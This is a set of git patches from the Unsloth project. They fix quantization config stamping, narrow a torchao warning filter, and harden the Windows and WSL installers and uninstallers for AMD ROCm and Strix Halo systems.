-                    "llm_int8_has_fp16_weight": False,
-                    "llm_int8_skip_modules": None,
-                    "llm_int8_threshold": 6.0,
-                    "load_in_4bit": True,
-                    "load_in_8bit": False,
-                    "quant_method": "bitsandbytes",
-                }
-                model.config.update({"quantization_config": quantization_config})
+                # `load_in_4bit` is the requested flag, not the effective one: a non-bnb
+                # checkpoint (MXFP4/gptq/awq) had bnb disabled by check_and_disable, so stamping a
+                # synthetic bnb config would corrupt its real one. Only stamp bnb/unquantized.
+                try:
+                    from unsloth_zoo.utils import get_quant_type
+                    _stamp_bnb = get_quant_type(model.config) in (None, "bitsandbytes")
+                except Exception:
+                    _stamp_bnb = True
+                if _stamp_bnb:
+                    compute_dtype = dtype_from_config(model.config)
+                    quantization_config = {
+                        # Sometimes compute_dtype is not a string!!
+                        "bnb_4bit_compute_dtype": compute_dtype,
+                        "bnb_4bit_quant_type": "nf4",
+                        "bnb_4bit_use_double_quant": True,
+                        "llm_int8_enable_fp32_cpu_offload": False,
+                        "llm_int8_has_fp16_weight": False,
+                        "llm_int8_skip_modules": None,
+                        "llm_int8_threshold": 6.0,
+                        "load_in_4bit": True,
+                        "load_in_8bit": False,
+                        "quant_method": "bitsandbytes",
+                    }
+                    model.config.update({"quantization_config": quantization_config})
             else:
                 if hasattr(quantization_config, "to_dict"):
                     model.config.update({"quantization_config": quantization_config.to_dict()})
diff --git a/unsloth/models/loader_utils.py b/unsloth/models/loader_utils.py
index 06937af7db..9b9ba5220d 100644
--- a/unsloth/models/loader_utils.py
+++ b/unsloth/models/loader_utils.py
@@ -395,6 +395,25 @@ def check_and_disable_bitsandbytes_loading(
     return load_in_4bit, load_in_8bit, quant_method
 
 
+def sync_unsloth_model_name_bnb_flags(load_in_4bit, load_in_8bit):
+    """Make UNSLOTH_MODEL_NAME's `_load_in_4bit_`/`_load_in_8bit_` tokens match the EFFECTIVE bnb
+    state (after get_model_name remap + check_and_disable). The per-load env is built from the
+    pre-remap config (None for adapter-only PEFT repos), so its tokens can be wrong once the base
+    resolves. Only the gpt-oss patch reads them, so this is gated to gpt-oss; no-op otherwise."""
+    name = os.environ.get("UNSLOTH_MODEL_NAME", "")
+    if "gpt_oss" not in name.replace("-", "_"):
+        return
+    for flag, present in (
+        ("_load_in_4bit_", bool(load_in_4bit)),
+        ("_load_in_8bit_", bool(load_in_8bit)),
+    ):
+        if present and flag not in name:
+            name += flag
+        elif not present and flag in name:
+            name = name.replace(flag, "")
+    os.environ["UNSLOTH_MODEL_NAME"] = name
+
+
 def _get_fp8_mode_and_check_settings(
     load_in_fp8: Union[bool, str],
     fast_inference: bool,
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 3f8d9e6ce0..b68f0361e3 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -812,11 +812,17 @@ class FastBaseModel:
         user_quantization_config = kwargs.get("quantization_config", None)
 
         # Check if model already has a non-bitsandbytes quantization config (e.g. compressed-tensors/NVFP4)
-        from .loader_utils import check_and_disable_bitsandbytes_loading
+        from .loader_utils import (
+            check_and_disable_bitsandbytes_loading,
+            sync_unsloth_model_name_bnb_flags,
+        )
 
         load_in_4bit, load_in_8bit, _ = check_and_disable_bitsandbytes_loading(
             auto_config, load_in_4bit = load_in_4bit, load_in_8bit = load_in_8bit
         )
+        # Correct UNSLOTH_MODEL_NAME's bnb tokens now that the effective bnb state is known
+        # (the per-load env was built before remap/disable). gpt-oss only; no-op otherwise.
+        sync_unsloth_model_name_bnb_flags(load_in_4bit, load_in_8bit)
 
         if full_finetuning and (load_in_4bit or load_in_8bit):
             print(

From ad2546e5929e4e527eb17bb06264cc2c84f296bb Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 02:28:30 -0700
Subject: [PATCH 011/306] Suppress only torchao's cosmetic cpp-extensions
 warning (#6506)

* Suppress only torchao's cosmetic cpp-extensions warning

torchao logs a cosmetic WARNING on torch < 2.11 from torchao/__init__.py
(logger.warning("Skipping import of cpp extensions due to incompatible
torch version...")). The bnb-4bit and Unsloth paths do not use torchao's
cpp kernels, so the message is noise.

The quiet block raised the whole torchao logger to ERROR, which also hid
any genuine torchao warning, plus a redundant stderr substring filter.
Replace both with a HideLoggingMessage logging filter scoped to the
torchao logger that drops only this one record, leaving every other
torchao log intact.

* torchao cpp-extensions filter: tighten comment (no code change)

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
---
 unsloth/import_fixes.py | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/unsloth/import_fixes.py b/unsloth/import_fixes.py
index ffbc24362f..5afd6f4b37 100644
--- a/unsloth/import_fixes.py
+++ b/unsloth/import_fixes.py
@@ -152,10 +152,12 @@ if not UNSLOTH_ENABLE_LOGGING:
     sys.stderr.add_filter("CUTE_INVALID_CONTROL_PATH")
     # CUTLASS TMA-related errors when not targeting correct architecture
     sys.stderr.add_filter("Trying to use tma without CUTE_ARCH_TMA")
-    # Skipping import of cpp extensions due to incompatible torch version 2.9.0+cu128 for torchao version 0.15.0
-    logging.getLogger("torchao").setLevel(logging.ERROR)
-    # Also filter torchao print to stderr about cpp extensions
-    sys.stderr.add_filter("Skipping import of cpp extensions")
+    # torchao logs a cosmetic "Skipping import of cpp extensions" WARNING on torch < 2.11. The
+    # bnb-4bit / Unsloth paths don't use torchao's cpp kernels, so drop only that record rather
+    # than raising the whole torchao logger to ERROR.
+    logging.getLogger("torchao").addFilter(
+        HideLoggingMessage("Skipping import of cpp extensions due to incompatible torch version")
+    )
     # SyntaxWarning: invalid escape sequence '\.'
     warnings.filterwarnings("ignore", message = "invalid escape sequence", category = SyntaxWarning)
     # PYTORCH_CUDA_ALLOC_CONF is deprecated warning from torch

From e83d4ae0729ab2f523d5fbeb46e5a5bdaff7d42d Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 03:09:08 -0700
Subject: [PATCH 012/306] Windows installer: fix DiskPart UAC mid-install,
 drive-root cache, and spurious unsloth.exe rename warning (#6296)

* Windows installer: fix DiskPart UAC, drive-root cache, spurious rename warning, CPU-base messaging

amd-smi gate (DiskPart UAC mid-install): the AMD torch wheel ships hipInfo.exe
inside the venv, and the bitsandbytes fix prepends that venv Scripts dir to PATH.
shutil.which("hipinfo") then found it and flipped _amd_smi_allowed() to True, so
the post-install AMD probe fell through to `amd-smi list` (the venv hipInfo failed
to report gcnArchName, which is why the arch came from the GPU-name table) and
amd-smi elevated, popping the DiskPart UAC. Fix: a hipinfo resolved inside the
active venv (sys.prefix) is the torch-wheel binary, not a HIP SDK, and must not
open the gate. Mirrored in install_python_stack.py, install_llama_prebuilt.py, and
backend utils/hardware/amd.py (the runtime VRAM poller had the same latent prompt).

TORCHINDUCTOR_CACHE_DIR: move from C:\tc to <StudioHome>\TORCHINDUCTOR_CACHE_DIR so
the inductor/Triton cache lives under the user's Studio home, not the system drive
root. Long paths are already enabled above so deep inductor paths still fit.

unsloth.exe rename: skip the rename (and its "pip may fail with WinError 32"
warning) when SKIP_STUDIO_BASE=1. In the install.ps1 flow base packages are not
reinstalled, so unsloth.exe is never rewritten; the self-rename only failed because
setup runs via unsloth.exe (the running launcher holds its own file). The
'studio update' flow still attempts it.

CPU PyTorch messaging: clarify that the CPU base is temporary and setup replaces it
with GPU ROCm wheels, and print an explicit "GPU ROCm PyTorch installed" line after
the AMD wheels land, so the log makes clear the final install is GPU-accelerated.

Adds two regression tests covering the venv-internal vs external hipInfo gate.

Verified end-to-end on a Strix Halo box (Radeon 8060S / gfx1151): install.ps1
--local from this branch completed exit 0 with no DiskPart prompt, no rename
warning, the cache under the Studio home, and "GPU ROCm PyTorch installed
(gfx1151)"; Studio then booted and detected "ROCm (HIP 7.13.99004) -- AMD Radeon
8060S Graphics".

* Windows installer: drop the unreliable unsloth.exe rename and its WinError 32 warning

setup.ps1 used to rename the running unsloth.exe out of the way before the
base-package upgrade so pip could replace it. That rename never actually
worked: setup runs *via* unsloth.exe, so renaming our own running
uv-trampoline launcher failed with a sharing violation (WinError 32) and only
printed a scary 'could not rename unsloth.exe; pip may fail with WinError 32'
warning on every Windows install and update.

It also was not needed. pip tolerates a running/locked console-script .exe: it
moves the old one aside and writes the new one. The base upgrade routes through
pip on Windows, so the upgrade succeeds (or, in the install.ps1 flow with
SKIP_STUDIO_BASE=1, the base is not touched at all) and unsloth.exe is left
intact either way.

Removing the rename block and its failed-install restore block removes the
false warning for all Windows devices in both the install and update flows.

* Windows installer: gate venv-internal hipInfo.exe in PowerShell amd-smi probe; harden venv path checks

Follow-up to PR #6296.

- install.ps1 and setup.ps1: ignore the AMD torch wheel hipInfo.exe that lives
  inside the Studio venv when probing for a HIP SDK, so amd-smi no longer reopens
  the DiskPart UAC during install/update. Mirrors _path_inside_venv in the Python
  installers, which already do this.
- amd.py, install_llama_prebuilt.py, install_python_stack.py: normcase the venv
  containment check (Windows paths are case-insensitive) and run the
  HIP_PATH/ROCM_PATH candidate through it too.
- setup.ps1: fall back to a short TORCHINDUCTOR cache dir when long paths are
  unavailable, and create the dir wildcard-safely.
- tests: isolate sys.prefix in the gate helper, add HIP_PATH/ROCM_PATH cases, and
  assert the PowerShell venv exclusion.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Windows installer: install ROCm PyTorch directly for a known AMD arch

When the GPU arch is known (name-inferred from the GPU-name table) but ROCm
could not be probe-verified (no HIP SDK, no amd-smi), the bootstrap installed
a CPU PyTorch base that setup.ps1 then force-reinstalled as ROCm. The
repo.amd.com wheels bundle their own runtime (no HIP SDK required), which
setup.ps1 already relies on, so the CPU base was a pure wasted download/install.

- Gate the ROCm index on a known arch, not only on probe-verified ROCm, so a
  mapped arch installs ROCm torch directly. Unmapped arches and no-GPU hosts
  still get CPU (unchanged).
- Fall back to a CPU base if the ROCm-index install fails, so a transient
  repo.amd.com outage does not abort the install (setup.ps1 retries ROCm).
- Correct the stale comment that claimed ROCm wheels need a confirmed HIP SDK.
- Add a regression test for the arch-based gate.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Windows installer: correct the unsloth.exe rename-removal comment

The comment claimed the base upgrade 'routes through pip on Windows' and that
pip 'moves the old unsloth.exe aside, then writes the new one'. That is not what
the code does. install_python_stack tries uv first; on a locked launcher uv
aborts and falls back to pip, but the pip fallback strips --upgrade-package and
base.txt lists only bare unsloth/unsloth-zoo, so pip finds them already
satisfied and no-ops. The running unsloth.exe is left intact at its current
version either way. Reword the comment to describe the real uv-first /
pip-fallback-no-op behavior. No functional change.

* Windows installer: close two gaps in the venv-internal hipinfo exclusion

Review follow-up. The amd-smi/DiskPart gate could still reopen in two cases:

- setup.ps1 ran the HIP probe long before $VenvDir is assigned, so without
  VIRTUAL_ENV (the `unsloth studio update` path) $venvRoots was empty and the
  venv-internal hipInfo.exe was not recognized. Seed the venv root from
  UNSLOTH_SETUP_PYTHON and the default Studio home too (both installers).
- The HIP_PATH/ROCM_PATH candidate was accepted without the venv filter, so an
  env var pointing into the venv (AMD wheel) still set $HipSdkInstalled. Run
  Test-HipinfoIsVenvInternal on the candidate as well (both installers).

Extend the PS gate test to assert both. Both .ps1 parse clean; install tests
pass (the venv-internal / HIP probe coverage at 359 passed).

* Windows installer: correct the CPU-base message for arches with no ROCm wheels

After gating the ROCm index on a known arch, a mapped arch sets $ROCmIndexUrl
and installs ROCm directly, so it no longer reaches the "temporary CPU base"
branch. That branch is now reached only by a name-inferred arch with no ROCm
wheels (e.g. RDNA2 gfx103X), where setup.ps1 does NOT install ROCm. The old
text ("setup replaces it with GPU ROCm wheels ... the final install IS
GPU-accelerated") was therefore always wrong there. Say plainly that PyTorch
stays on CPU for this GPU.

* Windows installer: seed the venv-internal hipInfo check from a custom Studio home

Test-HipinfoIsVenvInternal seeded the venv root from VIRTUAL_ENV, VenvDir, the
setup python, and the default %USERPROFILE% path only. A standalone
`unsloth studio update` with a custom UNSLOTH_STUDIO_HOME (or STUDIO_HOME alias)
and none of those set would not recognize the venv hipInfo on PATH, reopening the
amd-smi/DiskPart gate. Seed the custom home too, in both installers, and assert
it in the gate test.

* Studio installer: resolve venv aliases and expand ~ in the hipInfo venv filter

Two review points on the amd-smi/DiskPart UAC gate:

1. _path_inside_venv compared os.path.abspath of sys.prefix and the hipInfo
   path, which does not resolve symlinks, junctions, or 8.3 short names. A venv
   reached through an aliased path then fails the check, so its bundled
   hipInfo.exe is mistaken for an external HIP SDK and amd-smi runs (the
   DiskPart prompt this fix exists to suppress). Switch to os.path.realpath in
   all three copies (amd.py, install_llama_prebuilt.py, install_python_stack.py).

2. setup.ps1's early venv-internal hipInfo probe seeded the venv root from a
   custom Studio home (UNSLOTH_STUDIO_HOME / STUDIO_HOME) without expanding a
   leading ~, while the canonical resolver does. With a tilde form,
   [IO.Path]::GetFullPath kept the literal ~ relative to cwd, so the custom-home
   hipInfo escaped the filter and reopened the gate. Expand ~ in the probe the
   same way as the resolver.

tests/studio/install/test_pr5940_followups.py: 30 passed (adds a symlink
realpath case and a setup.ps1 tilde-expansion guard).

* Studio installer: mirror the hipInfo venv filter and ROCm wheel pins into install.ps1

Follow-up review on the same install.ps1 paths:

1. install.ps1's venv-internal hipInfo probe (Test-HipinfoIsVenvInternal)
   seeded the venv root from a custom Studio home without expanding a leading
   ~, unlike the canonical resolver and setup.ps1. A tilde form left
   [IO.Path]::GetFullPath with the literal ~ (relative to cwd), so the
   custom-home hipInfo escaped the filter and reopened the amd-smi/DiskPart
   gate. Expand ~ in the probe, matching the setup.ps1 fix.

2. The AMD ROCm path installed torchvision/torchaudio bare while pinning torch
   to below 2.12. AMD's per-arch index publishes the companions independently
   and may ship torchvision 0.27 (for torch 2.12) before removing 0.26, so a
   bare resolve can pick an ABI-incompatible set and fall back to CPU. Add
   torchvision/torchaudio floor maps and pass the pinned specs, mirroring
   setup.ps1 and install_python_stack.py.

3. The ROCm-to-CPU fallback torch install used Invoke-InstallCommand (no
   retry), the only torch step in the file without it. Switch to
   Invoke-InstallCommandRetry so the recovery path survives a transient index
   failure.

tests/studio/install/test_pr5940_followups.py: 33 passed (parametrized tilde
check over both installers, a torch/companion floor-map parity test, and a
CPU-fallback retry guard).

* Studio installer: scan all PATH hipinfo so the venv copy can't shadow a real HIP SDK

The amd-smi HIP-SDK probe used shutil.which("hipinfo") / Get-Command hipinfo,
which return only the first hit on PATH. The AMD torch wheel ships hipInfo.exe
inside the venv and the bnb fix (plus the Studio backend) prepend the venv
Scripts dir to PATH, so that venv-internal copy lands first. When a real HIP SDK
hipinfo sits later on PATH with HIP_PATH/ROCM_PATH unset, the first-hit probe
stopped at the venv copy, treated it as "not a HIP SDK", and closed the amd-smi
gate -- AMD users in that PATH-only SDK setup lost amd-smi telemetry and could
fall back to CPU. Scan every PATH entry and keep the first hipinfo that is not
venv-internal; only the venv copy is ignored, so the UAC/DiskPart suppression is
unchanged.

Applied to all three Python copies (install_llama_prebuilt.py,
install_python_stack.py, backend/utils/hardware/amd.py) via a new
_external_hipinfo_on_path helper, and both PowerShell callers (install.ps1,
setup.ps1) now use Get-Command hipinfo -All filtered by Test-HipinfoIsVenvInternal.

tests/studio/install/test_pr5940_followups.py: 36 passed (real-PATH scan tests, a
shadow-regression test for the exact venv-first ordering, and a parity check that
every Python copy uses the scanning helper).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio uninstallers: fix leftovers (false "removed", shared icon, llama lock)

Auditing a dual native+WSL uninstall on a real device surfaced three leftovers:

1. uninstall.ps1 removed the data dir (which holds unsloth.ico) before the
   shortcuts that reference that icon, so Explorer's icon cache briefly held it
   open. Remove-Item -Recurse reported success yet left the locked file, and the
   dir was never re-attempted, so it orphaned with a false "removed" log.
   _RemovePath now verifies the path is actually gone (retrying transient locks)
   and reports honestly, and the data dir is re-swept after the shortcuts go.

2. install.sh writes a shared unsloth.ico to %LOCALAPPDATA%\Unsloth Studio for
   the WSL shortcut, but uninstall.sh never removed it, orphaning the icon (and
   dir) after a WSL uninstall. uninstall.sh now drops that icon and the dir when
   empty, in both the powershell.exe and drvfs-fallback paths.

3. ~/.unsloth/.llama.cpp.install.lock was never removed, so the rmdir of
   ~/.unsloth failed and the dir lingered. Both uninstallers now remove the lock.

Verified by running both uninstallers on a real dual install: device fully clean
(no install dirs, shortcuts, PATH/registry entries, shared icon, or lock left).

* install.sh: auto-route Strix Halo WSL to an existing Ubuntu 24.04

ROCm-on-WSL is the GPU runtime for Strix Halo and only targets Ubuntu
24.04. When the installer runs in a newer default distro (e.g. 26.04) it
cannot enable the GPU and silently falls back to CPU. If a 24.04 distro
already exists, re-run the install there and stop in the current one so the
GPU path is taken without the user having to know about the distro
requirement.

Runs before venv creation so the wrong distro is left untouched, guards
against re-route loops via UNSLOTH_WSL_REROUTED, leaves a working ROCm
distro alone (librocdxg present), and skips the GGUF-only / opt-out /
non-Strix cases. When no 24.04 distro exists we keep today's behaviour:
continue to CPU and print the `wsl --install Ubuntu-24.04` guidance, never
auto-downloading a distro.

Adds tests/sh/test_strixhalo_wsl_reroute.sh (hermetic: extracts the
function, rewrites its paths to fixtures, mocks wsl.exe) covering the full
decision matrix, wired into tests/run_all.sh.

* uninstall.ps1: keep shared unsloth.ico for a surviving WSL shortcut

A dual native+WSL install shares %LOCALAPPDATA%\Unsloth Studio\unsloth.ico:
install.sh points the WSL shortcut's icon there while the native install owns the
dir. The native uninstaller removed the whole dir unconditionally, so uninstalling
native while keeping WSL left the WSL shortcut with a blank icon. The old code only
avoided this when Explorer happened to hold the icon open, which is unreliable; on a
real dual install the dir was deleted and the WSL shortcut went blank.

_RemoveDataDirKeepingWslIcon now scans the Start Menu + Desktop for a surviving
"Unsloth Studio (WSL ...).lnk" and, if found, removes everything in the data dir
except unsloth.ico (keeping the dir) instead of deleting it; with no WSL shortcut it
removes the dir as before. uninstall.sh still drops the icon and the empty dir when
WSL itself is uninstalled, so every uninstall order ends clean.

Adds tests/studio/test_uninstall_dual_install_icon.ps1 (AST-extracts the helper and
runs it against a temp dir with controlled shortcut dirs) covering the dual,
native-only, empty, and missing-dir cases, wired into the windows-inference smoke
workflow. Verified on a real dual install: native uninstall now keeps unsloth.ico
and the WSL shortcut's icon stays intact.

* installer: condense AMD/ROCm code comments (no behavior change)

Tighten the comments added for the Strix Halo native+WSL installer work so
they are shorter and clearer without losing intent: the venv-internal hipInfo
amd-smi gate, the ROCm torch/companion floor maps, the WSL 24.04 reroute, and
the dual-install uninstall icon handling. Comment-only; code paths unchanged.
107 insertions, 166 deletions across 11 files.

* install.sh: run the Strix Halo WSL reroute before any STUDIO_HOME write

The reroute fired after mkdir -p "$STUDIO_HOME" and the legacy-venv migration,
so rerouting 26.04 -> 24.04 left an empty ~/.unsloth/studio stub in the origin
distro (and ran venv migration in the distro about to be abandoned). Move the
reroute ahead of the venv section so the origin distro is left untouched, matching
the function's own comment. Behavior is identical on every non-reroute path.

* installer: fix ROCm CPU-fallback, hipinfo gate edge cases, uninstall icon, WSL 22.04

- install.ps1: clear $ROCmIndexUrl/$ROCmTorchFloor after the CPU fallback so the
  flavor-repair block does not retry the failed ROCm index and abort the install;
  pin the ROCm companion specs ($visionSpec/$audioSpec) in the repair path too.
- install.ps1 + setup.ps1: skip a bare drive root in Test-HipinfoIsVenvInternal so a
  non-venv UNSLOTH_SETUP_PYTHON does not match the whole drive; iterate
  HIP_PATH/HIP_PATH_57/ROCM_PATH and take the first non-venv hipinfo.
- amd.py, install_llama_prebuilt.py, install_python_stack.py: strip surrounding
  quotes from PATH entries before probing for hipinfo.
- install.sh: pipefail the WSL reroute curl|sh; do not reroute supported Ubuntu 22.04.
- uninstall.sh: keep the shared unsloth.ico while any Unsloth shortcut (native or
  another WSL distro) still references it, in both the powershell and drvfs paths.
- tests: regression coverage for all of the above.

* installer: forward reroute options, guard ROCm bootstrap, harden hipinfo gate

- install.sh: forward the caller's --package/--python/--verbose/--tauri and a custom
  UNSLOTH_STUDIO_HOME into the WSL reroute (was a bare default install); bail on
  --local; run the reroute BEFORE dependency/uv install so the origin distro is left
  untouched; set UNSLOTH_SKIP_ROCM_WSL_SETUP after a failed reroute so the later
  ROCm-on-WSL bootstrap does not install into the unsupported origin distro.
- install.ps1 + setup.ps1: Get-Command hipinfo -CommandType Application so only real
  executables match (not an alias/function named hipinfo).
- uninstall.ps1: guard $env:APPDATA when building the default shortcut search dirs.
- tests: cover option forwarding, --local bail, the bootstrap guard, and the gate change.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* installer: guard origin ROCm bootstrap on every CPU-only fallback; harden ~ expansion

WSL reroute: the no-wsl.exe, no-24.04-target and --local fallbacks all tell the
user the install continues CPU-only, but only the failed-reroute branch set
UNSLOTH_SKIP_ROCM_WSL_SETUP=1. The later _maybe_bootstrap_rocm_wsl gate keys off
that flag, so the other three branches could still install ROCm into the
unsupported origin distro (e.g. 26.04). Set the skip guard on all of them.

Forward UNSLOTH_ROCM_WSL_AUTO into the reroute so a Tauri/consented GPU bootstrap
carries through to the rerouted 24.04 child instead of dropping to the prompt path.

install.ps1/setup.ps1: guard the venv-probe ~ expansion on a non-empty
$env:USERPROFILE so Join-Path does not throw on a profile-less service account.

Tests: add no-wsl.exe and UNSLOTH_ROCM_WSL_AUTO reroute cases, the USERPROFILE
guard assertion, and route shell-test fixtures through a single trap-cleaned root.

* installer: pin + soften Windows ROCm Python repair, reroute to 22.04, harden gates

install_python_stack.py: the Windows AMD ROCm repair in _ensure_rocm_torch()
installed bare torch/torchvision/torchaudio via the fatal pip_install -- the same
asymmetry already fixed on the PowerShell side. A transient repo.amd.com failure
could abort the whole install even after install.ps1/setup.ps1 fell back to CPU.
Pin companions per-arch (gfx120X/Strix -> the rocm7.2 trio, mirroring the PS floor
maps) and make the retry nonfatal: keep the existing build and let the user re-run
update to retry ROCm, so the chain install.ps1 -> setup.ps1 -> stack stays CPU-safe.

install.sh: reroute now targets an installed Ubuntu 24.04 OR 22.04 (24.04 preferred);
both are AMD-supported for ROCm-on-WSL, matching the leave-alone set, so a box with
only 22.04 reaches the GPU instead of staying CPU-only.

install.ps1/setup.ps1: a bare ~ for UNSLOTH_STUDIO_HOME left an empty Join-Path child
(PS 5.1 throws); fall back to USERPROFILE directly and only join a real remainder.

_path_inside_venv (amd.py + both installers): guard a root-dir sys.prefix so commonpath
can't classify every path on the drive as venv-internal (defensive; venv never at root).

uninstall.sh: guard an empty LOCALAPPDATA in the PS-interop icon cleanup (mirror APPDATA).

Tests: add 22.04-target reroute cases, Windows ROCm pin+nonfatal coverage (text +
behavioral), root-dir guard coverage, and bare-~/LOCALAPPDATA guard assertions.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* install.sh: match WSL reroute target by exact distro name, not substring

The 24.04/22.04 reroute target was chosen with grep -F (substring), so a custom
distro such as 'Ubuntu-24.04-test' (with no exact Ubuntu-24.04) was picked as the
target; the later 'wsl -d Ubuntu-24.04' then fails and the Strix Halo install stays
CPU-only. Match whole lines (grep -ixF) and reuse the matched name so only a real
Ubuntu-24.04/22.04 is targeted. Adds substring-rejection + exact-vs-custom tests.

* install.sh: keep the WSL reroute target to Ubuntu 24.04 (helper-supported only)

The ROCm-on-WSL bootstrap (scripts/install_rocm_wsl_strixhalo.sh) dies on any
VERSION_ID other than 24.04 and pins the noble repo, so treating 22.04 as
GPU-supported let the parent report a successful reroute while the child fell
back to CPU. Drop 22.04 from the supported set and the reroute target list;
24.04 stays the sole target (keeping the exact whole-line distro match). An
already-working ROCm on any other version is still left alone by the librocdxg
check above.

tests: reroute 22.04 cases updated to the 24.04-only behavior; make the
"no wsl.exe" case hermetic so a real host wsl.exe can't leak in on dev boxes;
stop the tauri exit-order check from mis-flagging the reroute helper's
[ "$TAURI_MODE" = true ] && ... --tauri one-liner.

* installer: tighten comment wording across the Strix Halo install/uninstall paths

Condense the verbose multi-line comment blocks (amd-smi hipinfo gate, ROCm
torch install + CPU fallback, WSL reroute, uninstall icon-keep) into fewer,
clearer lines. Comments and a few docstrings only; no code, logic, or
behavior change. Verified with bash -n, the PowerShell parser, and ast.parse,
and the installer test suite still passes.

* add AGPL-3.0 SPDX headers to the .sh/.ps1 scripts missing them

Every shell and PowerShell script under the Studio/installer surface now
carries the standard SPDX-License-Identifier: AGPL-3.0-only + copyright
header (after the shebang where present): the installer (install.sh,
install.ps1), build.sh, the .github and src-tauri scripts, the installer
test suite, and the moe kernel test. Header-only, line endings preserved;
bash -n, the PowerShell parser, and the installer tests all pass.

* installer: drop the duplicate AGPL header from install.sh and install.ps1

Both already carry an SPDX-License-Identifier: AGPL-3.0-only header below
their usage comment block; the prior header pass added a second one at the
top because it only scanned the first few lines. Remove the duplicate so each
file keeps a single original header.

* installer: force-reinstall CPU fallback torch; propagate Tauri NEED_SUDO from reroute

install.ps1/setup.ps1: when the AMD ROCm wheel install fails and we fall back to a
CPU base, force-reinstall the torch/vision/audio triplet. A failed ROCm install can
leave an unpinned ROCm torch (e.g. 2.10.0+rocm on gfx110X/gfx90a) that still
satisfies the CPU torch>=2.4,<2.11.0 range, so without --force-reinstall uv keeps the
ROCm build and only swaps the companions -- a mismatched venv the flavor-repair block
won't fix. setup.ps1 scopes the forced reinstall to the ROCm-fallback path
() so the genuine CPU-only install stays fast.

install.sh: the Strix Halo WSL reroute treated every nonzero child exit as a reroute
failure and fell back to CPU. In --tauri mode the child uses exit 2 ([TAURI:NEED_SUDO])
to ask the desktop app to elevate for the target distro; capture the child's exit code
and propagate exit 2 in Tauri mode (the child already printed the NEED_SUDO line)
instead of masking it. CLI mode still falls back to CPU on a generic failure.

Tests: reroute Tauri exit-2 propagation (and non-Tauri CPU-fallback) cases;
run_func now preserves the child exit code; force-reinstall assertions for both
PowerShell installers.

Note: codex's _rr_q apostrophe finding is a false positive -- the helper already
emits POSIX-correct 'O'\''Brien' and round-trips under both sh and bash.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* setup.ps1: fix $cpuForce array collapse in the ROCm->CPU torch fallback

An if-expression assignment ($cpuForce = if ($ROCmCpuFallback) { @("--force-reinstall") })
collapses the single-element array to a scalar string, so @cpuForce splatting enumerated
it character-by-character into broken single-letter args (- - f o r c e ...), which made
uv/pip reject the install and aborted the whole Studio setup on the AMD ROCm->CPU fallback
path. Build $cpuForce as a real array assigned outside the if-expression so the splat passes
a single --force-reinstall arg. Genuine CPU-only installs stay fast (empty array, no flag).
Test now asserts the array-build form and rejects the if-expression form.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* uninstall: remove the isolated Node.js runtime (~/.unsloth/node)

The isolated Node.js runtime (install_node_prebuilt.py, added with the managed-Node
change) installs to ~/.unsloth/node in default mode -- a sibling of studio, so deleting
<studio> leaves it behind (~200MB orphaned after uninstall). Both uninstallers already
remove the other default-mode siblings (llama.cpp/.cache/.staging); add node alongside
them. uninstall.ps1 also adds it to the handle-lock sweep so a held node.exe can't block
the delete. Env/custom mode nests node under the custom root, removed with that root.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .github/scripts/hf-download-with-retry.sh     |   2 +
 .../studio-windows-inference-smoke.yml        |  12 +
 build.sh                                      |   2 +
 install.ps1                                   | 147 ++++-
 install.sh                                    |  94 +++
 scripts/uninstall.ps1                         |  75 ++-
 scripts/uninstall.sh                          |  53 +-
 studio/backend/utils/hardware/amd.py          |  45 +-
 studio/install_llama_prebuilt.py              |  43 +-
 studio/install_python_stack.py                |  80 ++-
 studio/setup.ps1                              | 154 +++--
 studio/src-tauri/linux/postremove.sh          |   2 +
 .../windows/sign-with-trusted-signing.ps1     |   2 +
 tests/run_all.sh                              |   4 +
 tests/saving/gpt-oss-merge/run_test.sh        |   2 +
 tests/sh/test_get_torch_index_url.sh          |   2 +
 tests/sh/test_install_host_defaults.sh        |   2 +
 tests/sh/test_mac_intel_compat.sh             |   2 +
 tests/sh/test_nvcc_meets_llama_minimum.sh     |   2 +
 tests/sh/test_strixhalo_wsl_reroute.sh        | 323 ++++++++++
 tests/sh/test_tauri_install_exit_order.sh     |   7 +-
 tests/sh/test_torch_constraint.sh             |   2 +
 tests/sh/test_torch_flavor.sh                 |   2 +
 tests/sh/test_uninstall_shared_icon.sh        | 102 ++++
 tests/studio/install/test_pr5940_followups.py | 571 +++++++++++++++++-
 tests/studio/test_resolve_cuda_toolkit.ps1    |   2 +
 tests/studio/test_torch_flavor.ps1            |   2 +
 .../test_uninstall_dual_install_icon.ps1      |  87 +++
 .../kernels/moe/tests/run_qwen3_moe_tests.sh  |   2 +
 29 files changed, 1706 insertions(+), 119 deletions(-)
 create mode 100644 tests/sh/test_strixhalo_wsl_reroute.sh
 create mode 100644 tests/sh/test_uninstall_shared_icon.sh
 create mode 100644 tests/studio/test_uninstall_dual_install_icon.ps1

diff --git a/.github/scripts/hf-download-with-retry.sh b/.github/scripts/hf-download-with-retry.sh
index c5ee013c80..013a459f46 100755
--- a/.github/scripts/hf-download-with-retry.sh
+++ b/.github/scripts/hf-download-with-retry.sh
@@ -1,4 +1,6 @@
 #!/usr/bin/env bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 #
 # Download a single file from a Hugging Face repo with a stall-retry
 # watchdog. Used by the Studio CI workflows so a hung hf-xet transfer
